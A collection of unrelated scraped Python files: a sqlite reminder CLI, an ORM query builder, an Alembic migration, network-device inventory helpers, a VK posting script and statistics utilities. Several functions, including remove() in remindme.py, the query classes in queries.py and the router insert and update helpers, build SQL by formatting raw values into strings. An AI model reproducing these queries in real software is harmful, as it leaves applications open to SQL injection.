remindmes'\n for item in cursor.execute(sql).fetchall():\n content.append(item)\n except sqlite3.OperationalError:\n try:\n sql = 'CREATE TABLE remindmes(keyword, content)'\n cursor.execute(sql)\n sql = 'CREATE UNIQUE INDEX keys ON remindmes(keyword)'\n cursor.execute(sql)\n db.commit()\n except:\n db.rollback()\n return content\n\n\ndef write(keyword, content, db_file=db_file):\n with sqlite3.connect(db_file) as db:\n try:\n cursor = db.cursor()\n sql = 'INSERT INTO remindmes VALUES (?,?)'\n cursor.execute(sql, (keyword, content,))\n db.commit()\n return True\n except:\n db.rollback()\n return True\n return False\n\n\ndef search(content, keyword):\n for item in content:\n if item[0] == keyword:\n return item[1]\n return False\n\n\ndef add(content, keyword, new_content, db_file=db_file):\n if not search(content, keyword):\n return write(keyword, new_content, db_file)\n return False\n\n\ndef remove(content, keyword, db_file=db_file):\n if search(content, keyword):\n try:\n with sqlite3.connect(db_file) as db:\n sql = 'DELETE FROM remindmes WHERE keyword == \"{0}\"'\n sql = sql.format(keyword)\n db.execute(sql)\n db.commit()\n return True\n except:\n db.rollback()\n return False\n else:\n return False\n\n\ndef arg_parser():\n parser = argparse.ArgumentParser(\n description='Reminds you of something you knew before',\n )\n parser.add_argument('keywords',\n metavar='KEYWORDS', nargs='*',\n help='Keyword to remind me something I knew')\n parser.add_argument('-l', '--list',\n action='store_true',\n help='list all RemindMe keywords')\n parser.add_argument('-a', '--add',\n metavar='keywords',\n dest='add', nargs='+',\n help='add new RemindMe content')\n parser.add_argument('-r', '--remove',\n dest='remove', nargs='+',\n help='remove a RemindMe')\n parser.add_argument('-v', '--version',\n action='version',\n version='%(prog)s {0}'.format(__version__))\n\n args = parser.parse_args()\n args = vars(args)\n return args\n\n\ndef print_out(_status, content):\n words = '{0}\\n{1}\\n{2}'\n print(words.format(_status, content, _reset))\n\n\ndef run():\n args = arg_parser()\n content = read()\n\n if args['list']:\n print_out(_success, 'Found {0} remindme keywords\\b'.format(\n len(content))\n )\n keywords = [item[0] for item in content]\n keywords.sort()\n print_out(_default, '\\n'.join(keywords))\n return\n\n if args['add']:\n keyword = ' '.join(args['add'])\n prompt = 'Enter what you remember now:\\n\\n>{0}'.format(_default)\n if sys.version_info.major < 3:\n new_content = raw_input(prompt)\n else:\n new_content = input(prompt)\n if add(content, keyword, new_content):\n print_out(_success, 'RemindMe will remind you next time')\n else:\n print_out(_error, 'RemindMe failed to get that in memory.\\n\\\nMaybe there is already another RemindMe with the same keyword.')\n\n if args['remove']:\n keyword = ' '.join(args['remove'])\n if remove(content, keyword):\n print_out(_success, 'RemindMe content successfully removed')\n else:\n print_out(_error, 'RemindMe can NOT remove that. Check if \\\nthe keywords really exist with me.')\n\n if args['keywords']:\n keyword = ' '.join(args['keywords'])\n results = search(content, keyword)\n if results:\n print_out(_success, 'RemindMe Reminding you:')\n print_out(_default, results)\n else:\n print_out(_error, 'RemindMe: I too can\\'t rember that')\n\nif __name__ == '__main__':\n run()\n","sub_path":"remindme/remindme.py","file_name":"remindme.py","file_ext":"py","file_size_in_byte":4811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"342713240","text":"class DatabaseException(Exception):\n \"\"\"Base database exception\"\"\"\n pass\n\n\nclass SelectQuery(object):\n \"\"\" select title, content from Question where id = 1 and title = \"my title\";\n select title, content from Question where id > 3;\n \"\"\"\n\n def __init__(self, *args, model=None, nodes=[]):\n assert nodes or hasattr(model, '_node'), \"SelectQuery does not have a node to select from!\"\n # order matters\n self.databases = set(node.driver for node in nodes)\n if hasattr(model, '_node'):\n self.databases.add(model._node.driver)\n\n self.model = model\n self.base_sql = 'select {columns} from {tablename};'\n\n query_args = args if args else ['*']\n self.query = ', '.join([str(column) for column in query_args])\n\n @property\n def sql(self):\n return self.base_sql.format(\n columns=self.query,\n tablename=self.model.__name__\n )\n\n def all(self, datatype=dict, batch_size=None, verbose=False):\n return self._execute(self.sql, datatype=datatype, batch_size=batch_size, verbose=verbose)\n\n def first(self, datatype=dict):\n self.base_sql = '{0} limit 1;'.format(self.base_sql.rstrip(';'))\n try:\n return next(self._execute(self.sql, datatype=datatype))\n except Exception as e:\n raise e\n\n def where(self, *args, **kwargs):\n where_list = []\n for k in kwargs:\n assert k in self.model.__fields__, \"Invalid attribute!\"\n\n for k in args:\n assert k in self.model.__fields__, \"Invalid attribute!\"\n\n for k, v in kwargs.items():\n where_list.append('{0}={1}'.format(k, v))\n\n where_list.extend(args)\n\n self.base_sql = '{0} where {1};'.format(\n self.base_sql.rstrip(';'), ' and '.join(where_list))\n\n return self\n\n def _base_function(self, func):\n # support custom functions\n\n # this logic might be wrong, might need\n # to apply function for each selected column\n sql = self.base_sql.format(\n columns='{0}({1})'.format(func, self.query),\n tablename=self.model.__name__\n )\n records = []\n # parallel multi db execute\n for db in self.databases:\n cursor = db.execute(sql=sql, commit=True)\n record = cursor.fetchone()\n # print(type(record[0]))\n records += record\n return records\n\n # this method is really important\n def __getitem__(self, slices):\n \"\"\"\n Usage:\n #Select N items from all databases\n Question.select()('content')[start:end]\n\n #Select N items from N databases\n Question.select()[start:end, start:end]\n \"\"\"\n\n if isinstance(slices, tuple) and all(map(lambda s: isinstance(s, slice), slices)):\n # reduce the databases based on the first slice\n self.databases = self.databases[slices[0]]\n # reduce the query based on second slice\n first_slice, second_slice = slices[1].start, slices[1].stop\n elif isinstance(slices, slice): # wrong, handle the 3rd part\n first_slice, second_slice = slices.start, slices.stop\n else:\n raise SyntaxError(\"Invalid slice object\")\n\n start = first_slice if first_slice else 1\n end = second_slice if second_slice else -1\n\n self.base_sql = '{0} limit {1} offset {2};'.format(\n self.base_sql.rstrip(';'), end, start - 1)\n return self.all()\n\n def count(self):\n return self._base_function('count')\n\n def max(self):\n \"\"\"\n Question.select('id').max()\n \"\"\"\n return self._base_function('max')\n\n def min(self):\n return self._base_function('min')\n\n def avg(self):\n return self._base_function('avg')\n\n def sum(self):\n return self._base_function('sum')\n\n def orderby(self, column, order='desc'):\n \"\"\"\n Question.select().orderby('id', 'desc').all()\n \"\"\"\n self.base_sql = '{0} order by {1} {2};'.format(\n self.base_sql.rstrip(';'), column, order)\n return self\n\n def like(self, pattern):\n \"\"\"\n Question.select('id').where('content').like('%cont%')\n \"\"\"\n if 'where' not in self.base_sql:\n raise DatabaseException(\n 'Like query must have a where clause before')\n # this query might be wrong\n self.base_sql = '{0} like {1};'.format(\n self.base_sql.rstrip(';'), pattern)\n return self\n\n # def as_df(self):\n # import pandas as pd\n # \"\"\"Turns sql query result into pandas dataframe\"\"\"\n # df = pd.read_sql(self.sql, self.databases[0].conn)\n # df['database'] = self.databases[0].database\n #\n # for new_frame in self.databases[1:]:\n # new_piece = pd.read_sql(self.sql, new_frame.conn)\n # new_piece['database'] = new_frame.database\n # df = df.append(new_piece, ignore_index=True)\n #\n # df.set_index(df['id'])\n # del df['id']\n # return df\n\n \"\"\"def as_ddf(self):\n Turns pandas dataframe into dask dataframe\n df = dd.from_pandas(self.as_df(), npartitions=5)\n return df\"\"\"\n\n # hard to test, needs refactor\n def _execute(self, sql, datatype=dict, batch_size=None, verbose=False):\n cursors = []\n print(sql)\n for db in self.databases:\n cursor = db.execute(sql)\n if not cursor:\n yield []\n cursors.append(cursor)\n description = [des[0] for des in cursor.description]\n\n def get_cursor(batch_size):\n if batch_size:\n next_batch = cursor.fetchmany(batch_size)\n while next_batch:\n yield next_batch\n next_batch = cursor.fetchmany(batch_size)\n else:\n yield cursor.fetchall()\n\n # fetch data with cunks\n records = cursor.fetchall() # if not batch_size else cursor.fetchmany(batch_size)\n\n for record in records: # get_cursor(batch_size):\n #model = None\n if not datatype:\n # refactor this\n model_s = dict(zip(description, record))\n # fetch related rows as well\n model = self.model.__class__(**model_s)\n yield model\n\n elif datatype == dict:\n model = dict(zip(description, record))\n # fetch foreigns\n for f in self.model.__relations__:\n field_arg = {}\n field_arg[\"id\"]=model['id']\n fs = list(f.to_table.select(nodes=[self.model._node]).where(**field_arg).all())\n model[f.name] = fs\n yield model\n else:\n raise Exception(\"Unsupported result type\")\n\n def _make_instance(self, descriptor, record):\n\n try:\n instance = self.model.__class__(**dict(zip(descriptor, record)))\n except TypeError as e:\n raise e\n\n def _handle_refered_fields(self, instance):\n for _, field in instance.__refered_fields__.items():\n if isinstance(field, models.ForeignKeyReverse) or isinstance(field, models.ManyToManyBase):\n # implement nested query\n field.instance_id = vars(instance)['id']\n return instance\n\n\nclass UpdateQuery(object):\n def __init__(self, model, **kwargs):\n assert 'update_fields' in kwargs, \"Please define the fields you want to update. e.g update_fields=[{name:mehmet}]\"\n assert 'where_fields' in kwargs, \"Please specify in which fields you want to update. e.g where_fields=[{id:1}]\"\n self.model = model\n self.base_sql = 'update {tablename} set {update_columns};'\n self.update_fields = kwargs['update_fields'] # is this have a cost?\n self.where_fields = kwargs['where_fields']\n\n self.update_list = ['{0}={1}'.format(\n k, v) for k, v in self.update_fields.items()]\n self.where_list = ['{0}={1}'.format(k, v)\n for k, v in self.where_fields.items()]\n\n self.base_sql = '{0} where {1};'.format(self.base_sql.rstrip(';'),\n 'and '.join(self.where_list)\n )\n\n def set(self, **kwargs):\n for k, v in kwargs.items():\n # ignore if field already defined in update list\n if self.update_fields.get(k) == v:\n continue\n self.update_list.append('{0}={1}'.format(k, v))\n return self\n\n @property\n def sql(self):\n return self.base_sql.format(\n tablename=self.model.__name__,\n update_columns=' and '.join(self.update_list)\n )\n\n def commit(self):\n # parallel multi db execute\n return db_job_spawner(self.sql, self.model.__databases__, commit=True)\n\n\nclass DeleteQuery(object):\n def __init__(self, model, *args, **kwargs):\n self.model = model\n self.sql = 'delete from {0};'.format(self.model.__name__)\n where_list = list(args)\n for k, v in kwargs.items():\n where_list.append('{0}={1}'.format(k, v))\n\n if where_list:\n self.sql = '{0} where {1};'.format(\n self.sql.rstrip(';'), ' and '.join(where_list))\n\n def commit(self):\n # parallel multi db execute\n return db_job_spawner(self.sql, self.model.__databases__, commit=True)\n","sub_path":"containers/dorm_master/dorm/queries.py","file_name":"queries.py","file_ext":"py","file_size_in_byte":9734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"493057515","text":"# -*- coding: utf-8 -*-\n\"\"\"Initial conversion from sqlalchemy create all to alembic\n\nRevision ID: 357cc9fc466b\nRevises: None\nCreate Date: 2014-01-21 08:54:15.993052\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '357cc9fc466b'\ndown_revision = None\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.create_table('umbrella_organisations',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=200), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('addresses',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('address_line', sa.String(length=200), nullable=True),\n sa.Column('postal_code', sa.String(length=4), nullable=True),\n sa.Column('postal_city', sa.String(length=100), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('person_brreg_address',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('address_line', sa.String(length=200), nullable=True),\n sa.Column('postal_code', sa.String(length=4), nullable=True),\n sa.Column('postal_city', sa.String(length=100), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('persons',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('first_name', sa.String(length=200), nullable=True),\n sa.Column('last_name', sa.String(length=200), nullable=True),\n sa.Column('national_identity_number', sa.String(length=11), nullable=True),\n sa.Column('status', sa.Enum('unregistered', 'registered', name='person_status_enums'),\n nullable=True),\n sa.Column('address_line', sa.String(length=200), nullable=True),\n sa.Column('postal_code', sa.String(length=4), nullable=True),\n sa.Column('postal_city', sa.String(length=100), nullable=True),\n sa.Column('email_address', sa.String(length=150), nullable=True),\n sa.Column('phone_number', sa.String(length=12), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('email_address'),\n sa.UniqueConstraint('national_identity_number')\n )\n op.create_table('brreg_activity_codes',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('code', sa.String(), nullable=True),\n sa.Column('description', sa.String(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('person_org_assoc_roles',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('role', sa.String(length=200), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('umbrella_organisation_person_associations',\n sa.Column('umbrella_organisation_id', sa.Integer(), nullable=True),\n sa.Column('person_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['person_id'], ['persons.id'], ),\n sa.ForeignKeyConstraint(['umbrella_organisation_id'], ['umbrella_organisations.id'], )\n )\n op.create_table('flod_activity_type',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(), nullable=True),\n sa.Column('brreg_activity_code_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['brreg_activity_code_id'], ['brreg_activity_codes.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('organisations',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('org_number', sa.String(length=10), nullable=True),\n sa.Column('name', sa.String(length=200), nullable=True),\n sa.Column('org_form', sa.String(length=50), nullable=True),\n sa.Column('email_address', sa.String(length=150), nullable=True),\n sa.Column('phone_number', sa.String(length=12), nullable=True),\n sa.Column('telefax_number', sa.String(length=12), nullable=True),\n sa.Column('url', sa.String(length=255), nullable=True),\n sa.Column('account_number', sa.String(length=15), nullable=True),\n sa.Column('business_address_id', sa.Integer(), nullable=True),\n sa.Column('postal_address_id', sa.Integer(), nullable=True),\n sa.Column('num_members_b20', sa.Integer(), nullable=True),\n sa.Column('num_members', sa.Integer(), nullable=True),\n sa.Column('description', sa.Text(), nullable=True),\n sa.Column('area', sa.Integer(), nullable=True),\n sa.Column('registered_tkn', sa.Boolean(), nullable=True),\n sa.ForeignKeyConstraint(['business_address_id'], ['addresses.id'], ),\n sa.ForeignKeyConstraint(['postal_address_id'], ['addresses.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('organisation_flod_activity_types',\n sa.Column('org_id', sa.Integer(), nullable=True),\n sa.Column('flod_type_list_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['flod_type_list_id'], ['flod_activity_type.id'], ),\n sa.ForeignKeyConstraint(['org_id'], ['organisations.id'], )\n )\n op.create_table('organisation_brreg_activities',\n sa.Column('org_id', sa.Integer(), nullable=True),\n sa.Column('brreg_code_list_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['brreg_code_list_id'], ['brreg_activity_codes.id'], ),\n sa.ForeignKeyConstraint(['org_id'], ['organisations.id'], )\n )\n op.create_table('umbrella_organisation_oraganisation_associations',\n sa.Column('umbrella_organisation_id', sa.Integer(), nullable=True),\n sa.Column('organisation_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['organisation_id'], ['organisations.id'], ),\n sa.ForeignKeyConstraint(['umbrella_organisation_id'], ['umbrella_organisations.id'], )\n )\n op.create_table('organisation_person_associations',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('organisation_id', sa.Integer(), nullable=True),\n sa.Column('person_id', sa.Integer(), nullable=True),\n sa.Column('from_brreg', sa.Boolean(), nullable=True),\n sa.ForeignKeyConstraint(['organisation_id'], ['organisations.id'], ),\n sa.ForeignKeyConstraint(['person_id'], ['persons.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('person_org_association_roles',\n sa.Column('org_person_association_id', sa.Integer(), nullable=True),\n sa.Column('role_association_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['org_person_association_id'], ['organisation_person_associations.id'], ),\n sa.ForeignKeyConstraint(['role_association_id'], ['person_org_assoc_roles.id'], )\n )\n ### end Alembic commands ###\n\n\ndef downgrade():\n raise NotImplementedError('This application does not support downgrades.')","sub_path":"flod_organisations/alembic/versions/20140121-0854-357cc9fc466b_initial_conversion_from_sqlalchemy_.py","file_name":"20140121-0854-357cc9fc466b_initial_conversion_from_sqlalchemy_.py","file_ext":"py","file_size_in_byte":7876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"144412625","text":"import unittest\nfrom app import create_app\n\n\nclass ProductRecommendTest(unittest.TestCase):\n\n def setUp(self):\n self.app = create_app()\n self.client = self.app.test_client()\n\n def test_get_recommended_product(self):\n rv = self.client.post('/api/v1/recommended-product', json=dict(\n category='category.nhn?cat_id=50000167',\n price=27750,\n price_point=10,\n habit_point=70\n ))\n self.assertEqual(200, rv.status_code)\n","sub_path":"tests/Product/ProductRecommendAPITest.py","file_name":"ProductRecommendAPITest.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"282275974","text":"import sqlite3\nimport re\nimport pandas as pd\n\ndef insert_routers(table,index,name,ip,country,vendor,model,version):\n try:\n conn = sqlite3.connect('/opt/lnetd/web_app/database.db')\n sql = ''' INSERT OR REPLACE INTO %s values('%s','%s','%s','%s','%s','%s','%s') ''' %(table,index,name,ip,country,vendor,model,version)\n cur = conn.cursor()\n cur.execute(sql)\n conn.commit()\n except Exception as e:\n print (e)\ndef update_routers_sqlite3(table,router,version,model,vendor):\n try:\n conn = sqlite3.connect('/opt/lnetd/web_app/database.db')\n sql = ''' UPDATE %s SET version = '%s' , model = '%s' , vendor = '%s' WHERE name = '%s' ''' %(table,version,model,vendor,router)\n #print (sql)\n cur = conn.cursor()\n cur.execute(sql)\n conn.commit()\n except Exception as e:\n print (e)\n\ndef huawei_parse_show_version(input_text):\n version = 'NA'\n model = 'NA'\n for i in input_text.splitlines():\n i = i.strip(' ')\n if re.search(r'.+Version',i):\n version = i.split()[4]\n elif re.search(r\".uptime is\",i):\n model = i.split()[1]\n return (version,model)\n\nimport yaml\nimport pandas as pd\nimport re\n\nfrom jnpr.junos import Device\nfrom jnpr.junos.factory.factory_loader import FactoryLoader\nfrom jnpr.junos.op.fpc import FpcHwTable\nfrom jnpr.junos.op.fpc import FpcInfoTable,FpcMiReHwTable\nfrom jnpr.junos.op.inventory import ModuleTable\n\ndef get_cards_jnp(task):\n modules = []\n hostname = task.host.name\n username = task.host.username\n password = task.host.password\n yml = '''\n---\nchassis:\n rpc: get-chassis-inventory\n args:\n extensive: True\n item: chassis/description\n key: chassis-module\n view: chassisView\n \nchassisView:\n fields:\n name: name\n model_number: model-number\n'''\n globals().update(FactoryLoader().load(yaml.load(yml)))\n dev = Device(host=hostname, user=username, password=password, port='22', gather_facts=False)\n try:\n dev.open()\n dev.timeout = 10\n module = ModuleTable(dev).get()\n #print('hostname:',hostname)\n for slot in module:\n module = slot.jname\n module_type = slot.type\n if re.search(r\"FPC|Routing|PIC\",module):\n modules.append((module,module_type))\n #print (module,module_type)\n labels = ['card_slot','card_name']\n df = pd.DataFrame(modules,columns=labels)\n df['router_name'] = hostname\n df['card_status'] = 'online'\n return(df)\n except Exception as e:\n print('Failed',e)\n raise Exception\n\ndef get_cards_xr(router,output):\n try:\n df = pd.DataFrame(output)\n df = df.drop(['config_state'], axis=1)\n df.columns = ['card_slot','card_status','card_name']\n df['router_name'] = router\n return(df)\n except Exception as e:\n print('Failed', e)\n raise Exception\n\ndef get_cards_huawei(display_version):\n cards = {}\n line = 0\n\n try:\n for i in display_version.splitlines():\n if re.match(\"^(LPU|MPU.+|SRU).[0-9].\", i):\n # print(i).split(\":\")[0]\n slot_nr = i.split(\":\")[0].split()[1]\n slot_nr1 = i.split(\":\")[0]\n # print(slot_nr)\n #slot_description = i.split(\":\")[0].split()[0]\n # print(slot_description)\n cards[line] = [slot_nr]\n cards[line].append('0')\n cards[line].append(slot_nr1)\n # cards[line].append(slot_description)\n line = line + 1\n\n labels = ['slot_nr', 'pic_nr', 'card_name']\n df_cards = pd.DataFrame(list(cards.values()), columns=labels)\n except Exception as e:\n print(e)\n\n # print(df_cards)\n pics = {}\n line = 0\n try:\n for i in display_version.splitlines():\n if re.search(\"Registered\", i):\n # print(i.split())\n pics[line] = i.split()\n line = line + 1\n labels = ['slot_nr', 'pic_nr', 'status', 'card_name', 'nr_ports', 'status1', 'status2']\n df_pics = pd.DataFrame(list(pics.values()), columns=labels)\n df_pics = df_pics.drop(['status', 'nr_ports', 'status1', 'status2'], axis=1)\n except Exception as e:\n print(e)\n\n try:\n df_final = pd.concat([df_cards, df_pics], ignore_index=True)\n df_final['slot_nr'] = df_final['slot_nr'].astype(int)\n df_final = df_final.sort_values('slot_nr')\n df_final['slot_nr'] = df_final['slot_nr'].astype(str)\n df_final['card_slot'] = df_final['slot_nr'].str.cat(df_final['pic_nr'], sep='/')\n df_final['card_status'] = 'online'\n df_final = df_final.sort_values('slot_nr')\n df_final = df_final[['card_name', 'card_slot', 'card_status']]\n return df_final\n except Exception as e:\n print(e)\n\n","sub_path":"inputs/nornir/mutils.py","file_name":"mutils.py","file_ext":"py","file_size_in_byte":4756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"351525080","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport vk\nimport time\nfrom socialpost import API\nimport datetime\n\nwait = 60 * 60\n\n\ndef vkpost():\n session = vk.AuthSession(scope='offline,wall,groups,messages', app_id='', user_login='@mail.ru',\n user_password='')\n api = vk.API(session, v='5.70')\n\n count = 1\n flights = API()\n while count < 24:\n vol = wait * count\n times = (time.time() + vol)\n time.sleep(1)\n # print(flights[count]['title'])\n print(flights[count]['flight_date_begin'])\n print(flights[count]['flight_date_end'])\n print(flights[count]['from_name'])\n print(flights[count]['to_name'])\n print(flights[count]['oneway_price'])\n print(flights[count]['roundtrip_price'])\n\n api.wall.post(owner_id='-', from_group='1',\n message=('Авиабилеты: ' + '#' + flights[count]['from_name'] + ' - ' + \"#\" +\n flights[count]['to_name'] + ' ' + flights[count]['oneway_price'] +\n flights[count]['roundtrip_price'] + '. Дата продажи билетов с ' +\n datetime.datetime.fromtimestamp(int(flights[count]['flight_date_begin'])).strftime(\n '%d.%m.%Y')\n + ' по ' + datetime.datetime.fromtimestamp(\n int(flights[count]['flight_date_end'])).strftime(\n '%d.%m.%Y.') + ' Ищите дешевые билеты на сайте: https://kenigtrip.ru/' +\n ' #авиабилетыдешево, #путешествие, #авиабилет, #перелеты, #кудапоехать'),\n publish_date=int(times))\n count += 1\n\n return api.wall.post\n\n\nvkpost()\n","sub_path":"vkmessage.py","file_name":"vkmessage.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"352643584","text":"import os.path\nimport dateutil.parser\nimport sys\nsys.path.append(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))))\nfrom github_analysis_tool.services.database_service import DatabaseService\n\n\nclass Analysis:\n def __init__(self):\n # Generate a github_requester with imported GitHub tokens\n self.__databaseService = DatabaseService()\n\n def set_monthly_repo_stats(self, repo):\n start_date = dateutil.parser.parse(\"2016-01-01 00:00:00\")\n end_date = dateutil.parser.parse(\"2017-03-01 00:00:00\")\n\n repo_id = self.__databaseService.get_repo_by_full_name(repo)[\"id\"]\n self.__databaseService.find_number_of_commits_and_contributors_of_repo_monthly(repo_id, start_date, end_date)\n\n def set_file_stats(self, repo):\n repo_id = self.__databaseService.get_repo_by_full_name(repo)[\"id\"]\n self.__databaseService.find_number_of_commits_and_developers_of_repository_files(repo_id)\n\n def set_repo_stats(self, repo):\n repo_id = self.__databaseService.get_repo_by_full_name(repo)[\"id\"]\n self.__databaseService.find_number_of_commits_and_contributors_of_repo(repo_id)\n\n def get_repos(self):\n repos = self.__databaseService.get_all_repos(get_only_ids=True)\n return repos\n\n def get_repo(self, full_name):\n repo = self.__databaseService.get_repo_by_full_name(full_name, get_only_ids=True)\n return repo\n\n\ndef main():\n print(\"-->Monthly repo stats and file stats analyses started.\")\n analysis = Analysis()\n\n directory_path = os.path.dirname(os.path.realpath(__file__))\n repositories_file_path = os.path.join(directory_path, 'repositories.txt')\n repos = [line.rstrip('\\n') for line in open(repositories_file_path)]\n for repo in repos:\n print(\"---->Repo \" + str(repo) + \" is started.\")\n analysis.set_repo_stats(repo)\n #analysis.setMonthlyRepoStats(repo)\n #analysis.setFileStats(repo)\n print(\"---->Repo \" + str(repo) + \" is done.\")\n print(\"-->Monthly repo stats and file stats analyses are done.\")\n\n return\n\nmain()\n\n\n\n","sub_path":"github_analysis_tool/analyzer/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"497733458","text":"# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %% Change working directory from the workspace root to the ipynb file location. Turn this addition off with the DataScience.changeDirOnImportExport setting\n# ms-python.python added\nimport os\ntry:\n\tos.chdir(os.path.join(os.getcwd(), 'FlexSession12102019'))\n\tprint(os.getcwd())\nexcept:\n\tpass\n# %%\n# Dependencies\nimport pandas as pd\n\n\n# %%\n# We can create a Pandas Series from a raw list\ndata_series = pd.Series([\"UCLA\", \"UC Berkeley\", \"UC Irvine\",\n \"University of Central Florida\", \"Rutgers University\"])\ndata_series\n\n\n# %%\n# Convert a list of dictionarys into a dataframe\nstates_dicts = [{\"STATE\": \"New Jersey\", \"ABBREVIATION\": \"NJ\"},\n {\"STATE\": \"New York\", \"ABBREVIATION\": \"NY\"}]\n\ndf_states = pd.DataFrame(states_dicts)\ndf_states\n\n\n# %%\n# Convert a single dictionary containing lists into a dataframe\ndf = pd.DataFrame(\n {\"Dynasty\": [\"Early Dynastic Period\", \"Old Kingdom\"],\n \"Pharoh\": [\"Thinis\", \"Memphis\"]\n }\n)\ndf\n\n","sub_path":"FlexSession12102019/creating_data_frames.py","file_name":"creating_data_frames.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"335168408","text":"from __future__ import division, print_function, absolute_import\n\nimport contextlib\nimport datetime\nimport math\nimport os\nimport sys\n\nimport six\nimport statistics\n\nimport perf._xtperf_stats as extmod\n\nif sys.version_info < (3, 4):\n try:\n import fcntl\n except ImportError:\n fcntl = None\n\ntry:\n from shlex import quote as shell_quote # noqa\nexcept ImportError:\n # Python 2\n from pipes import quote as shell_quote # noqa\n\n\nMS_WINDOWS = (sys.platform == 'win32')\n\nif MS_WINDOWS:\n import msvcrt\n\n\ndef parse_iso8601(date):\n if '.' in date:\n date, floatpart = date.split('.', 1)\n floatpart = float('.' + floatpart)\n else:\n floatpart = 0\n try:\n dt = datetime.datetime.strptime(date, '%Y-%m-%d %H:%M:%S')\n except ValueError:\n dt = datetime.datetime.strptime(date, '%Y-%m-%dT%H:%M:%S')\n dt += datetime.timedelta(seconds=floatpart)\n return dt\n\n\n# A table of 95% confidence intervals for a two-tailed t distribution, as a\n# function of the degrees of freedom. For larger degrees of freedom, we\n# approximate. While this may look less elegant than simply calculating the\n# critical value, those calculations suck. Look at\n# http://www.math.unb.ca/~knight/utility/t-table.htm if you need more values.\n_T_DIST_95_CONF_LEVELS = [0, 12.706, 4.303, 3.182, 2.776,\n 2.571, 2.447, 2.365, 2.306, 2.262,\n 2.228, 2.201, 2.179, 2.160, 2.145,\n 2.131, 2.120, 2.110, 2.101, 2.093,\n 2.086, 2.080, 2.074, 2.069, 2.064,\n 2.060, 2.056, 2.052, 2.048, 2.045,\n 2.042]\n\n\ndef tdist95conf_level(df):\n \"\"\"Approximate the 95% confidence interval for Student's T distribution.\n\n Given the degrees of freedom, returns an approximation to the 95%\n confidence interval for the Student's T distribution.\n\n Args:\n df: An integer, the number of degrees of freedom.\n\n Returns:\n A float.\n \"\"\"\n df = int(round(df))\n highest_table_df = len(_T_DIST_95_CONF_LEVELS)\n if df >= 200:\n return 1.960\n if df >= 100:\n return 1.984\n if df >= 80:\n return 1.990\n if df >= 60:\n return 2.000\n if df >= 50:\n return 2.009\n if df >= 40:\n return 2.021\n if df >= highest_table_df:\n return _T_DIST_95_CONF_LEVELS[highest_table_df - 1]\n return _T_DIST_95_CONF_LEVELS[df]\n\n\ndef pooled_sample_variance(sample1, sample2):\n \"\"\"Find the pooled sample variance for two samples.\n\n Args:\n sample1: one sample.\n sample2: the other sample.\n\n Returns:\n Pooled sample variance, as a float.\n \"\"\"\n deg_freedom = len(sample1) + len(sample2) - 2\n mean1 = statistics.mean(sample1)\n squares1 = ((x - mean1) ** 2 for x in sample1)\n mean2 = statistics.mean(sample2)\n squares2 = ((x - mean2) ** 2 for x in sample2)\n\n return (math.fsum(squares1) + math.fsum(squares2)) / float(deg_freedom)\n\n\ndef tscore(sample1, sample2):\n \"\"\"Calculate a t-test score for the difference between two samples.\n\n Args:\n sample1: one sample.\n sample2: the other sample.\n\n Returns:\n The t-test score, as a float.\n \"\"\"\n if len(sample1) != len(sample2):\n raise ValueError(\"different number of values\")\n error = pooled_sample_variance(sample1, sample2) / len(sample1)\n diff = statistics.mean(sample1) - statistics.mean(sample2)\n return diff / math.sqrt(error * 2)\n\n\ndef is_significant(sample1, sample2):\n \"\"\"Determine whether two samples differ significantly.\n\n This uses a Student's two-sample, two-tailed t-test with alpha=0.95.\n\n Args:\n sample1: one sample.\n sample2: the other sample.\n\n Returns:\n (significant, t_score) where significant is a bool indicating whether\n the two samples differ significantly; t_score is the score from the\n two-sample T test.\n \"\"\"\n deg_freedom = len(sample1) + len(sample2) 